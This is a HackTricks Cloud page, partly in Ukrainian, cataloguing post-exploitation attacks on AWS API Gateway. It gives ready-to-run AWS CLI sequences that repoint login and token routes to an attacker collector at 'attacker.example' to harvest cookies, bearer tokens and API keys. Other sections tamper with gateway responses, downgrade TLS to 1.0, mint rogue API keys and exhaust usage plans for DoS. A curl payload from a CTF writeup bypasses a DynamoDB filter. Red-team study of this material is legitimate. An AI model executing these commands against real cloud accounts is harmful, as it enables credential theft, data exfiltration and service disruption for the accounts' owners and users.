AWS - API Gateway Post Exploitation
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
API Gateway
Детальніше дивись:
Доступ до непублічних API
You can create an endpoint in https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint with the service com.amazonaws.us-east-1.execute-api, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn’t exposed before.
Bypass Request body passthrough
This technique was found in this CTF writeup.
Як вказано в AWS documentation у розділі PassthroughBehavior, за замовчуванням значення WHEN_NO_MATCH, при перевірці заголовка Content-Type запиту, передає запит на бекенд без трансформації.
Therefore, in the CTF the API Gateway had an integration template that was preventing the flag from being exfiltrated in a response when a request was sent with Content-Type: application/json:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Однак, відправлення запиту з Content-type: text/json обходило цей фільтр.
Нарешті, оскільки API Gateway дозволяв лише Get та Options, стало можливим надіслати довільний dynamoDB запит без жодних обмежень, відправивши POST запит з query у тілі та використавши заголовок X-HTTP-Method-Override: GET:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
У розділі Enumeration показано, як отримати usage plan ключів. Якщо у вас є ключ і він обмежений до X використань на місяць, ви можете просто ним користуватися і спричинити DoS.
The API Key достатньо включити в HTTP header під назвою x-api-key.
Swap Route Integration To Exfil Traffic (HTTP APIs / apigatewayv2)
Якщо ви можете оновити HTTP API integration, ви можете repoint чутливий маршрут (наприклад, /login, /token, /submit) на HTTP endpoint під контролем атакуючого і непомітно collect headers and bodies (cookies, Authorization bearer tokens, session ids, API keys, secrets, що надсилаються внутрішніми процесами тощо).
Приклад робочого процесу:
REGION="us-east-1"
API_ID="<http_api_id>"
# Find routes and the integration attached to the interesting route
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
ROUTE_ID="<route_id>"
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
COLLECTOR_URL="https://attacker.example/collect"
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
Примітки:
- Для HTTP APIs, зміни зазвичай набирають чинності негайно (на відміну від REST APIs, де зазвичай потрібно створити розгортання).
- Чи можна вказати довільний URL залежить від типу інтеграції/конфігурації; у деяких випадках ви також можете змінити тип інтеграції під час patching.
apigateway:UpdateGatewayResponse, apigateway:CreateDeployment
Зловмисник із дозволами apigateway:UpdateGatewayResponse та apigateway:CreateDeployment може модифікувати існуючий Gateway Response, щоб додати custom headers або response templates, які leak конфіденційну інформацію або виконують зловмисні скрипти.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Leakage of sensitive information, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
Note
Потрібне тестування
apigateway:UpdateStage, apigateway:CreateDeployment
Зловмисник з дозволами apigateway:UpdateStage та apigateway:CreateDeployment може змінити існуючий stage API Gateway, щоб перенаправити трафік на інший stage або змінити налаштування кешування, щоб отримати несанкціонований доступ до кешованих даних.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Несанкціонований доступ до кешованих даних, порушення або перехоплення трафіку API.
Note
Потрібне тестування
apigateway:PutMethodResponse, apigateway:CreateDeployment
Зловмисник із дозволами apigateway:PutMethodResponse та apigateway:CreateDeployment може змінити method response існуючого API Gateway REST API методу, додавши custom headers або response templates, які leak конфіденційні дані або виконують шкідливі скрипти.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Можливий вплив: Витік конфіденційної інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
Note
Потрібне тестування
apigateway:UpdateRestApi, apigateway:CreateDeployment
Зловмисник, який має дозволи apigateway:UpdateRestApi та apigateway:CreateDeployment, може змінити налаштування API Gateway REST API, щоб вимкнути логування або змінити мінімальну версію TLS, що потенційно послаблює безпеку API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Ослаблення безпеки API, що може дозволити несанкціонований доступ або розкриття конфіденційної інформації.
Note
Потрібне тестування
apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, apigateway:CreateUsagePlanKey
Зловмисник з дозволами apigateway:CreateApiKey, apigateway:UpdateApiKey, apigateway:CreateUsagePlan, and apigateway:CreateUsagePlanKey може створювати нові API-ключі, пов’язувати їх із планами використання та потім використовувати ці ключі для несанкціонованого доступу до API.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Потенційний вплив: Несанкціонований доступ до ресурсів API, обходження механізмів безпеки.
Note
Потребує тестування
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перегляньте the subscription plans!
- Приєднуйтесь до 💬 Discord group або до telegram group або стежте за нами в Twitter 🐦 @hacktricks_live.
- Діліться hacking tricks, надсилаючи PRs до HackTricks та HackTricks Cloud github repos.
HackTricks Cloud

